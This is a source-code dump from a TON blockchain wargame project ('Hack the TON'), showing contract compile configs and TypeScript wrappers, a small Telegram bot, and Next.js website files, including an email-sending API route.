-------------------------------------------------------------------------------- /packages/contracts/wrappers/ScannerLevel.compile.ts: -------------------------------------------------------------------------------- 1 | import { CompilerConfig } from "@ton/blueprint" 2 | 3 | export const compile: CompilerConfig = { 4 | lang: "tact", 5 | target: "contracts/levels/scanner_level.tact", 6 | options: { 7 | debug: true, 8 | }, 9 | } 10 | -------------------------------------------------------------------------------- /packages/contracts/wrappers/ScannerLevel.ts: -------------------------------------------------------------------------------- 1 | export * from "../build/ScannerLevel/tact_ScannerLevel" 2 | -------------------------------------------------------------------------------- /packages/contracts/wrappers/ScannerLevelFactory.compile.ts: -------------------------------------------------------------------------------- 1 | import { CompilerConfig } from "@ton/blueprint" 2 | 3 | export const compile: CompilerConfig = { 4 | lang: "tact", 5 | target: "contracts/factories/scanner_level_factory.tact", 6 | options: { 7 | debug: true, 8 | }, 9 | } 10 | -------------------------------------------------------------------------------- /packages/contracts/wrappers/ScannerLevelFactory.ts: -------------------------------------------------------------------------------- 1 | export * from "../build/ScannerLevelFactory/tact_ScannerLevelFactory" 2 | -------------------------------------------------------------------------------- /packages/contracts/wrappers/SeedLevel.compile.ts: -------------------------------------------------------------------------------- 1 | import { CompilerConfig } from "@ton/blueprint" 2 | 3 | export const compile: CompilerConfig = { 4 | lang: "tolk", 5 | entrypoint: "contracts/levels/seed_level.tolk", 6 | withStackComments: true, // Fift output will contain comments, if you wish to debug its output 7 | experimentalOptions: "", // you can pass experimental compiler options here 8 | } 9 | -------------------------------------------------------------------------------- /packages/contracts/wrappers/SeedLevelFactory.compile.ts: -------------------------------------------------------------------------------- 1 | import { CompilerConfig } from "@ton/blueprint" 2 | 3 | export const compile: CompilerConfig = { 4 | lang: "tact", 5 | target: "contracts/factories/seed_level_factory.tact", 6 | options: { 7 | debug: true, 8 | }, 9 | } 10 | -------------------------------------------------------------------------------- /packages/contracts/wrappers/SeedLevelFactory.ts: -------------------------------------------------------------------------------- 1 | export * from "../build/SeedLevelFactory/tact_SeedLevelFactory" 2 | -------------------------------------------------------------------------------- /packages/contracts/wrappers/SwapLevel.compile.ts: -------------------------------------------------------------------------------- 1 | import { CompilerConfig } from "@ton/blueprint" 2 | 3 | export const compile: CompilerConfig = { 4 | lang: "tact", 5 | target: "contracts/levels/swap_level.tact", 6 | options: { 7 | debug: true, 8 | }, 9 | } 10 | -------------------------------------------------------------------------------- /packages/contracts/wrappers/SwapLevel.ts: -------------------------------------------------------------------------------- 1 | export * from "../build/SwapLevel/tact_SwapLevel" 2 | -------------------------------------------------------------------------------- /packages/contracts/wrappers/SwapLevelFactory.compile.ts: -------------------------------------------------------------------------------- 1 | import { CompilerConfig } from "@ton/blueprint" 2 | 3 | export const compile: CompilerConfig = { 4 | lang: "tact", 5 | target: "contracts/factories/swap_level_factory.tact", 6 | options: { 7 | debug: true, 8 | }, 9 | } 10 | -------------------------------------------------------------------------------- /packages/contracts/wrappers/SwapLevelFactory.ts: -------------------------------------------------------------------------------- 1 | export * from "../build/SwapLevelFactory/tact_SwapLevelFactory" 2 | -------------------------------------------------------------------------------- /packages/contracts/wrappers/TokenLevel.compile.ts: -------------------------------------------------------------------------------- 1 | import { CompilerConfig } from "@ton/blueprint" 2 | 3 | export const compile: CompilerConfig = { 4 | lang: "tolk", 5 | entrypoint: "contracts/levels/token_level.tolk", 6 | withStackComments: true, // Fift output will contain comments, if you wish to debug its output 7 | experimentalOptions: "", // you can pass experimental compiler options here 8 | } 9 | -------------------------------------------------------------------------------- /packages/contracts/wrappers/TokenLevelFactory.compile.ts: -------------------------------------------------------------------------------- 1 | import { CompilerConfig } from "@ton/blueprint" 2 | 3 | export const compile: CompilerConfig = { 4 | lang: "tact", 5 | target: "contracts/factories/token_level_factory.tact", 6 | options: { 7 | debug: true, 8 | }, 9 | } 10 | -------------------------------------------------------------------------------- /packages/contracts/wrappers/TokenLevelFactory.ts: -------------------------------------------------------------------------------- 1 | export * from "../build/TokenLevelFactory/tact_TokenLevelFactory" 2 | -------------------------------------------------------------------------------- /packages/contracts/wrappers/TolkLevel.compile.ts: -------------------------------------------------------------------------------- 1 | import { CompilerConfig } from "@ton/blueprint" 2 | 3 | export const compile: CompilerConfig = { 4 | lang: "tolk", 5 | entrypoint: "contracts/levels/tolk_level.tolk", 6 | withStackComments: true, // Fift output will contain comments, if you wish to debug its output 7 | experimentalOptions: "", // you can pass experimental compiler options here 8 | } 9 | -------------------------------------------------------------------------------- /packages/contracts/wrappers/TolkLevel.ts: -------------------------------------------------------------------------------- 1 | import { 2 | Address, 3 | beginCell, 4 | Cell, 5 | Contract, 6 | contractAddress, 7 | ContractProvider, 8 | Sender, 9 | SendMode, 10 | } from "@ton/core" 11 | 12 | export type TolkLevelConfig = { 13 | player: Address 14 | nonce: bigint 15 | locked: boolean 16 | } 17 | 18 | export function tolkLevelConfigToCell(config: TolkLevelConfig): Cell { 19 | return beginCell() 20 | .storeAddress(config.player) 21 | .storeUint(config.nonce, 32) 22 | .storeInt(config.locked ? BigInt(-1) : BigInt(0), 1) 23 | .endCell() 24 | } 25 | 26 | export class TolkLevel implements Contract { 27 | constructor( 28 | readonly address: Address, 29 | readonly init?: { code: Cell; data: Cell }, 30 | ) {} 31 | 32 | static createFromAddress(address: Address) { 33 | return new TolkLevel(address) 34 | } 35 | 36 | static createFromConfig(config: TolkLevelConfig, code: Cell, workchain = 0) { 37 | const data = tolkLevelConfigToCell(config) 38 | const init = { code, data } 39 | return new TolkLevel(contractAddress(workchain, init), init) 40 | } 41 | 42 | async sendDeploy(provider: ContractProvider, via: Sender, value: bigint) { 43 | await provider.internal(via, { 44 | value, 45 | sendMode: SendMode.PAY_GAS_SEPARATELY, 46 | body: beginCell().endCell(), 47 | }) 48 | } 49 | 50 | async send( 51 | provider: ContractProvider, 52 | via: Sender, 53 | body: Cell, 54 | value: bigint, 55 | ) { 56 | await provider.internal(via, { 57 | value, 58 | sendMode: SendMode.PAY_GAS_SEPARATELY, 59 | body, 60 | }) 61 | } 62 | 63 | async getLocked(provider: ContractProvider) { 64 | const { stack } = await provider.get("locked", []) 65 | return stack.readBoolean() 66 | } 67 | } 68 | -------------------------------------------------------------------------------- /packages/contracts/wrappers/TolkLevelFactory.compile.ts: -------------------------------------------------------------------------------- 1 | import { CompilerConfig } from "@ton/blueprint" 2 | 3 | export const compile: CompilerConfig = { 4 | lang: "tact", 5 | target: "contracts/factories/tolk_level_factory.tact", 6 | options: { 7 | debug: true, 8 | }, 9 | } 10 | -------------------------------------------------------------------------------- /packages/contracts/wrappers/TolkLevelFactory.ts: -------------------------------------------------------------------------------- 1 | export * from "../build/TolkLevelFactory/tact_TolkLevelFactory" 2 | -------------------------------------------------------------------------------- /packages/contracts/wrappers/UpgradeLevel.compile.ts: -------------------------------------------------------------------------------- 1 | import { CompilerConfig } from "@ton/blueprint" 2 | 3 | export const compile: CompilerConfig = { 4 | lang: "tolk", 5 | entrypoint: "contracts/levels/upgrade_level.tolk", 6 | withStackComments: true, // Fift output will contain comments, if you wish to debug its output 7 | experimentalOptions: "", // you can pass experimental compiler options here 8 | } 9 | -------------------------------------------------------------------------------- /packages/contracts/wrappers/UpgradeLevel.ts: -------------------------------------------------------------------------------- 1 | import { 2 | Address, 3 | beginCell, 4 | Cell, 5 | Contract, 6 | contractAddress, 7 | ContractProvider, 8 | Sender, 9 | SendMode, 10 | } from "@ton/core" 11 | 12 | export type UpgradeLevelConfig = { 13 | player: Address 14 | nonce: bigint 15 | locked: boolean 16 | } 17 | 18 | export function upgradeLevelConfigToCell(config: UpgradeLevelConfig): Cell { 19 | return beginCell() 20 | .storeAddress(config.player) 21 | .storeUint(config.nonce, 32) 22 | .storeInt(config.locked ? BigInt(-1) : BigInt(0), 1) 23 | .endCell() 24 | } 25 | 26 | export class UpgradeLevel implements Contract { 27 | constructor( 28 | readonly address: Address, 29 | readonly init?: { code: Cell; data: Cell }, 30 | ) {} 31 | 32 | static createFromAddress(address: Address) { 33 | return new UpgradeLevel(address) 34 | } 35 | 36 | static createFromConfig( 37 | config: UpgradeLevelConfig, 38 | code: Cell, 39 | workchain = 0, 40 | ) { 41 | const data = upgradeLevelConfigToCell(config) 42 | const init = { code, data } 43 | return new UpgradeLevel(contractAddress(workchain, init), init) 44 | } 45 | 46 | async sendDeploy(provider: ContractProvider, via: Sender, value: bigint) { 47 | await provider.internal(via, { 48 | value, 49 | sendMode: SendMode.PAY_GAS_SEPARATELY, 50 | body: beginCell().endCell(), 51 | }) 52 | } 53 | 54 | async send( 55 | provider: ContractProvider, 56 | via: Sender, 57 | body: Cell, 58 | value: bigint, 59 | ) { 60 | await provider.internal(via, { 61 | value, 62 | sendMode: SendMode.PAY_GAS_SEPARATELY, 63 | body, 64 | }) 65 | } 66 | 67 | async getLocked(provider: ContractProvider) { 68 | const { stack } = await provider.get("locked", []) 69 | return stack.readBoolean() 70 | } 71 | } 72 | -------------------------------------------------------------------------------- /packages/contracts/wrappers/UpgradeLevelFactory.compile.ts: -------------------------------------------------------------------------------- 1 | import { CompilerConfig } from "@ton/blueprint" 2 | 3 | export const compile: CompilerConfig = { 4 | lang: "tact", 5 | target: "contracts/factories/upgrade_level_factory.tact", 6 | options: { 7 | debug: true, 8 | }, 9 | } 10 | -------------------------------------------------------------------------------- /packages/contracts/wrappers/UpgradeLevelFactory.ts: -------------------------------------------------------------------------------- 1 | export * from "../build/UpgradeLevelFactory/tact_UpgradeLevelFactory" 2 | -------------------------------------------------------------------------------- /packages/contracts/wrappers/UpgradeSolution.compile.ts: -------------------------------------------------------------------------------- 1 | import { CompilerConfig } from "@ton/blueprint" 2 | 3 | export const compile: CompilerConfig = { 4 | lang: "tolk", 5 | entrypoint: "contracts/solutions/upgrade_solution.tolk", 6 | withStackComments: true, // Fift output will contain comments, if you wish to debug its output 7 | experimentalOptions: "", // you can pass experimental compiler options here 8 | } 9 | -------------------------------------------------------------------------------- /packages/contracts/wrappers/UpgradeSolution.ts: -------------------------------------------------------------------------------- 1 | import { 2 | Address, 3 | beginCell, 4 | Cell, 5 | Contract, 6 | contractAddress, 7 | ContractProvider, 8 | Sender, 9 | SendMode, 10 | } from "@ton/core" 11 | 12 | export type UpgradeSolutionConfig = { 13 | player: Address 14 | nonce: bigint 15 | locked: boolean 16 | } 17 | 18 | export function upgradeSolutionConfigToCell( 19 | config: UpgradeSolutionConfig, 20 | ): Cell { 21 | return beginCell() 22 | .storeAddress(config.player) 23 | .storeUint(config.nonce, 32) 24 | .storeInt(config.locked ? BigInt(-1) : BigInt(0), 1) 25 | .endCell() 26 | } 27 | 28 | export class UpgradeSolution implements Contract { 29 | constructor( 30 | readonly address: Address, 31 | readonly init?: { code: Cell; data: Cell }, 32 | ) {} 33 | 34 | static createFromAddress(address: Address) { 35 | return new UpgradeSolution(address) 36 | } 37 | 38 | static createFromConfig( 39 | config: UpgradeSolutionConfig, 40 | code: Cell, 41 | workchain = 0, 42 | ) { 43 | const data = upgradeSolutionConfigToCell(config) 44 | const init = { code, data } 45 | return new UpgradeSolution(contractAddress(workchain, init), init) 46 | } 47 | 48 | async sendDeploy(provider: ContractProvider, via: Sender, value: bigint) { 49 | await provider.internal(via, { 50 | value, 51 | sendMode: SendMode.PAY_GAS_SEPARATELY, 52 | body: beginCell().endCell(), 53 | }) 54 | } 55 | 56 | async send( 57 | provider: ContractProvider, 58 | via: Sender, 59 | body: Cell, 60 | value: bigint, 61 | ) { 62 | await provider.internal(via, { 63 | sendMode: SendMode.PAY_GAS_SEPARATELY, 64 | body, 65 | value: value, 66 | }) 67 | } 68 | 69 | async getLocked(provider: ContractProvider) { 70 | const { stack } = await provider.get("locked", []) 71 | return stack.readBoolean() 72 | } 73 | } 74 | -------------------------------------------------------------------------------- /packages/telegram-bot/api/index.ts: -------------------------------------------------------------------------------- 1 | import { Telegraf } from "telegraf" 2 | 3 | import dotenv from "dotenv" 4 | dotenv.config() 5 | 6 | const bot = new Telegraf(process.env.TG_BOT_TOKEN!) 7 | 8 | bot.start((ctx) => ctx.reply("Welcome to the TON based wargame Hack the TON!")) 9 | 10 | bot.launch({ 11 | webhook: { 12 | domain: process.env.WEBHOOK_DOMAIN!, 13 | }, 14 | }) 15 | 16 | // Enable graceful stop 17 | process.once("SIGINT", () => bot.stop("SIGINT")) 18 | process.once("SIGTERM", () => bot.stop("SIGTERM")) 19 | -------------------------------------------------------------------------------- /packages/telegram-bot/package.json: -------------------------------------------------------------------------------- 1 | { 2 | "name": "telegram-bot", 3 | "version": "0.1.0", 4 | "module": "index.ts", 5 | "type": "module", 6 | "devDependencies": { 7 | "@types/bun": "latest" 8 | }, 9 | "peerDependencies": { 10 | "typescript": "^5.0.0" 11 | }, 12 | "dependencies": { 13 | "dotenv": "^16.4.5", 14 | "telegraf": "^4.16.3" 15 | } 16 | } 17 | -------------------------------------------------------------------------------- /packages/telegram-bot/tsconfig.json: -------------------------------------------------------------------------------- 1 | { 2 | "compilerOptions": { 3 | // Enable latest features 4 | "lib": ["ESNext", "DOM"], 5 | "target": "ESNext", 6 | "module": "ESNext", 7 | "moduleDetection": "force", 8 | "jsx": "react-jsx", 9 | "allowJs": true, 10 | 11 | // Bundler mode 12 | "moduleResolution": "Node", 13 | "noEmit": true, 14 | "allowSyntheticDefaultImports": true, 15 | 16 | // Best practices 17 | "strict": true, 18 | "skipLibCheck": true, 19 | "noFallthroughCasesInSwitch": true, 20 | 21 | // Some stricter flags (disabled by default) 22 | "noUnusedLocals": false, 23 | "noUnusedParameters": false, 24 | "noPropertyAccessFromIndexSignature": false 25 | } 26 | } 27 | -------------------------------------------------------------------------------- /packages/telegram-bot/vercel.json: -------------------------------------------------------------------------------- 1 | { "version": 2, "rewrites": [{ "source": "/(.*)", "destination": "/api" }] } 2 | -------------------------------------------------------------------------------- /packages/website/.eslintrc.json: -------------------------------------------------------------------------------- 1 | { 2 | "extends": ["next/core-web-vitals", "plugin:mdx/recommended"] 3 | } 4 | -------------------------------------------------------------------------------- /packages/website/.gitignore: -------------------------------------------------------------------------------- 1 | # See https://help.github.com/articles/ignoring-files/ for more about ignoring files. 2 | 3 | # dependencies 4 | /node_modules 5 | /.pnp 6 | .pnp.js 7 | .yarn/install-state.gz 8 | 9 | # testing 10 | /coverage 11 | 12 | # next.js 13 | /.next/ 14 | /out/ 15 | 16 | # production 17 | /build 18 | 19 | # misc 20 | .DS_Store 21 | *.pem 22 | 23 | # debug 24 | npm-debug.log* 25 | yarn-debug.log* 26 | yarn-error.log* 27 | 28 | # local env files 29 | .env*.local 30 | 31 | # vercel 32 | .vercel 33 | 34 | # typescript 35 | *.tsbuildinfo 36 | next-env.d.ts 37 | -------------------------------------------------------------------------------- /packages/website/bun.lockb: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/0xDmitry/hacktheton/543f32a6ea6267cb05f4af701a9933ca388d7f62/packages/website/bun.lockb -------------------------------------------------------------------------------- /packages/website/global.d.ts: -------------------------------------------------------------------------------- 1 | declare module "*.tact" 2 | declare module "*.fc" 3 | declare module "*.tolk" 4 | -------------------------------------------------------------------------------- /packages/website/mdx-components.tsx: -------------------------------------------------------------------------------- 1 | import type { MDXComponents } from "mdx/types" 2 | 3 | export function useMDXComponents(components: MDXComponents): MDXComponents { 4 | return { 5 | h1: ({ children }) => ( 6 |

{children}

7 | ), 8 | h2: ({ children }) =>

{children}

, 9 | p: ({ children }) =>

{children}

, 10 | code: ({ children }) => ( 11 | {children} 12 | ), 13 | a: (props) => { 14 | return ( 15 | 20 | {props.children} 21 | 22 | ) 23 | }, 24 | ...components, 25 | } 26 | } 27 | -------------------------------------------------------------------------------- /packages/website/next.config.mjs: -------------------------------------------------------------------------------- 1 | import createMDX from "@next/mdx" 2 | 3 | /** @type {import('next').NextConfig} */ 4 | const nextConfig = { 5 | pageExtensions: ["md", "mdx", "ts", "tsx"], 6 | webpack: (config, { buildId, dev, isServer, defaultLoaders, webpack }) => { 7 | config.module.rules.push({ 8 | test: /\.tact$/, 9 | type: "asset/source", 10 | }) 11 | config.module.rules.push({ 12 | test: /\.fc$/, 13 | type: "asset/source", 14 | }) 15 | config.module.rules.push({ 16 | test: /\.tolk$/, 17 | type: "asset/source", 18 | }) 19 | return config 20 | }, 21 | } 22 | 23 | const withMDX = createMDX({ 24 | // Add markdown plugins here, as desired 25 | }) 26 | 27 | export default withMDX(nextConfig) 28 | -------------------------------------------------------------------------------- /packages/website/package.json: -------------------------------------------------------------------------------- 1 | { 2 | "name": "website", 3 | "version": "0.1.0", 4 | "scripts": { 5 | "dev": "next dev", 6 | "build": "cd ../contracts && bun run build && cd ../website && next build", 7 | "start": "next start", 8 | "lint": "next lint" 9 | }, 10 | "dependencies": { 11 | "@formatjs/intl-localematcher": "^0.5.4", 12 | "@mdx-js/loader": "^3.0.1", 13 | "@mdx-js/react": "^3.0.1", 14 | "@next/mdx": "^14.2.6", 15 | "@tanstack/react-table": "^8.20.6", 16 | "@ton-api/client": "^0.1.0", 17 | "@ton-api/ton-adapter": "^0.1.0", 18 | "@ton/core": "^0.59.0", 19 | "@ton/crypto": "^3.3.0", 20 | "@ton/ton": "^14.0.0", 21 | "@tonconnect/ui-react": "^2.0.9", 22 | "@types/nodemailer": "^6.4.17", 23 | "console-feed": "^3.6.0", 24 | "cookies-next": "^4.2.1", 25 | "negotiator": "^0.6.3", 26 | "next": "^14.2.5", 27 | "nodemailer": "^6.10.0", 28 | "react": "^18.3.1", 29 | "react-device-detect": "^2.2.3", 30 | "react-dom": "^18.3.1", 31 | "react-type-animation": "^3.2.0", 32 | "ring-buffer-ts": "^1.2.0", 33 | "shiki": "^0.14.1", 34 | "zod": "^3.24.2" 35 | }, 36 | "devDependencies": { 37 | "@types/mdx": "^2.0.13", 38 | "@types/negotiator": "^0.6.3", 39 | "@types/node": "^20", 40 | "@types/react": "^18", 41 | "@types/react-dom": "^18", 42 | "eslint": "^8", 43 | "eslint-config-next": "^14.2.5", 44 | "eslint-plugin-mdx": "^3.1.5", 45 | "postcss": "^8", 46 | "tailwindcss": "^3.4.1", 47 | "typescript": "^5" 48 | } 49 | } 50 | -------------------------------------------------------------------------------- /packages/website/postcss.config.mjs: -------------------------------------------------------------------------------- 1 | /** @type {import('postcss-load-config').Config} */ 2 | const config = { 3 | plugins: { 4 | tailwindcss: {}, 5 | }, 6 | }; 7 | 8 | export default config; 9 | -------------------------------------------------------------------------------- /packages/website/public/icon.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/0xDmitry/hacktheton/543f32a6ea6267cb05f4af701a9933ca388d7f62/packages/website/public/icon.png -------------------------------------------------------------------------------- /packages/website/public/shiki/onig.wasm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/0xDmitry/hacktheton/543f32a6ea6267cb05f4af701a9933ca388d7f62/packages/website/public/shiki/onig.wasm -------------------------------------------------------------------------------- /packages/website/public/tonconnect-manifest.json: -------------------------------------------------------------------------------- 1 | { 2 | "url": "https://www.hacktheton.com/", 3 | "name": "Hack the TON", 4 | "iconUrl": "https://hacktheton.com/icon.png" 5 | } 6 | -------------------------------------------------------------------------------- /packages/website/src/app/[locale]/[...not-found]/page.tsx: -------------------------------------------------------------------------------- 1 | import { notFound } from "next/navigation" 2 | 3 | export default function NotFoundCatchAll() { 4 | notFound() 5 | } 6 | -------------------------------------------------------------------------------- /packages/website/src/app/[locale]/not-found.tsx: -------------------------------------------------------------------------------- 1 | "use client" 2 | 3 | import { useLangDictionary } from "@/hooks/useLangDictionary" 4 | 5 | export default function NotFound() { 6 | const langDictionary = useLangDictionary() 7 | 8 | return ( 9 |
10 |

{langDictionary.page.notFound.title}

11 |

{langDictionary.page.notFound.description}

12 |
13 | ) 14 | } 15 | -------------------------------------------------------------------------------- /packages/website/src/app/[locale]/page.tsx: -------------------------------------------------------------------------------- 1 | import Link from "next/link" 2 | import { ArrowForward } from "@/components/assets/ArrowForward" 3 | import { LevelsList } from "@/components/LevelsList" 4 | import { Welcome } from "@/components/Welcome" 5 | import { Locale } from "@/i18n.config" 6 | import { getLangDictionary } from "@/utils/lang-dictionary" 7 | 8 | export default function Home({ 9 | params: { locale }, 10 | }: { 11 | params: { locale: Locale } 12 | }) { 13 | const langDictionary = getLangDictionary(locale) 14 | 15 | return ( 16 |
17 | 18 |
19 | 23 | {langDictionary.leaderboard} 24 | 25 | 26 | 30 | {langDictionary.rewards} 31 | 32 | 33 |
34 | 35 |
36 | 40 | {langDictionary.suggestLevel} 41 | 42 | 43 |
44 |
45 | ) 46 | } 47 | -------------------------------------------------------------------------------- /packages/website/src/app/api/level-application/route.ts: -------------------------------------------------------------------------------- 1 | import { type NextRequest, NextResponse } from "next/server" 2 | import nodemailer from "nodemailer" 3 | import Mail from "nodemailer/lib/mailer" 4 | 5 | export async function POST(request: NextRequest) { 6 | const data = await request.json() 7 | 8 | const transport = nodemailer.createTransport({ 9 | service: "gmail", 10 | /* 11 | setting service as 'gmail' is same as providing these setings: 12 | host: "smtp.gmail.com", 13 | port: 465, 14 | secure: true 15 | If you want to use a different email provider other than gmail, you need to provide these manually. 16 | Or you can go use these well known services and their settings at 17 | https://github.com/nodemailer/nodemailer/blob/master/lib/well-known/services.json 18 | */ 19 | auth: { 20 | user: process.env.FROM_EMAIL, 21 | pass: process.env.EMAIL_PASSWORD, 22 | }, 23 | }) 24 | 25 | const sendMailPromise = async () => { 26 | const mailOptions: Mail.Options = { 27 | from: process.env.FROM_EMAIL, 28 | to: process.env.TO_EMAIL, 29 | subject: "Level application", 30 | html: Object.entries(data) 31 | .map( 32 | ([key, value]) => 33 | `

${key}

${value}

`, 34 | ) 35 | .join(""), 36 | } 37 | 38 | return new Promise((resolve, reject) => { 39 | transport.sendMail(mailOptions, function (err) { 40 | if (!err) { 41 | resolve("Email sent") 42 | } else { 43 | reject(err.message) 44 | } 45 | }) 46 | }) 47 | } 48 | 49 | try { 50 | const message = await sendMailPromise() 51 | return NextResponse.json({ message }) 52 | } catch (err) { 53 | return NextResponse.json({ error: err }, { status: 500 }) 54 | } 55 | } 56 | -------------------------------------------------------------------------------- /packages/website/src/app/favicon.ico: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/0xDmitry/hacktheton/543f32a6ea6267cb05f4af701a9933ca388d7f62/packages/website/src/app/favicon.ico -------------------------------------------------------------------------------- /packages/website/src/app/globals.css: -------------------------------------------------------------------------------- 1 | @tailwind base; 2 | @tailwind components; 3 | @tailwind utilities; 4 | 5 | :root { 6 | --cover: #000000; 7 | --background: #1a1a24; 8 | --foreground: #ffd455; 9 | } 10 | 11 | body { 12 | color: var(--foreground); 13 | background: var(--cover); 14 | font-synthesis: none; 15 | font-family: var(--anonymous-pro); 16 | } 17 | -------------------------------------------------------------------------------- /packages/website/src/app/layout.tsx: -------------------------------------------------------------------------------- 1 | import type { Metadata } from "next" 2 | import { Anonymous_Pro } from "next/font/google" 3 | import localFont from "next/font/local" 4 | import { TonConnectProvider } from "@/providers/TonConnectProvider" 5 | import Script from "next/script" 6 | import "@/app/globals.css" 7 | import { Header } from "@/components/Header" 8 | import { Footer } from "@/components/Footer" 9 | import { i18n } from "@/i18n.config" 10 | 11 | export const metadata: Metadata = { 12 | title: "Hack the TON", 13 | description: "TON Based Wargame", 14 | } 15 | 16 | const anonymousPro = Anonymous_Pro({ 17 | weight: "400", 18 | subsets: ["latin", "cyrillic"], 19 | variable: "--anonymous-pro", 20 | }) 21 | 22 | const courierNew = localFont({ 23 | src: "../fonts/CourierNew.ttf", 24 | display: "swap", 25 | variable: "--font-courier-new", 26 | }) 27 | 28 | export async function generateStaticParams() { 29 | return i18n.locales.map((locale) => ({ lang: locale })) 30 | } 31 | 32 | export default function RootLayout({ 33 | children, 34 | }: Readonly<{ 35 | children: React.ReactNode 36 | }>) { 37 | return ( 38 | 39 | 43 | 44 |
45 |
{children}
46 |